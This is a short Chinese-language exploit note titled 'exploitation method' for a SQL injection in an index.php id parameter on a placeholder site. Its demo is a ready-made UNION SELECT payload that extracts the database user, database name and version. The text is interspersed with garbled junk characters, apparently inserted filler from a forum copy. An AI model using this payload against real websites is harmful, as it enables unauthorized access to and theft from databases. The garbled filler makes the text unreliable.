利用方法:4 `9 m5 n* {7 K/ v& @' E% s
http://www.xxx.com/index.php?id=[SQL]
4 B8 [2 D# x9 J( d" F2 c% F# \ Demo:
6 x0 m; b T' f9 t# n http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |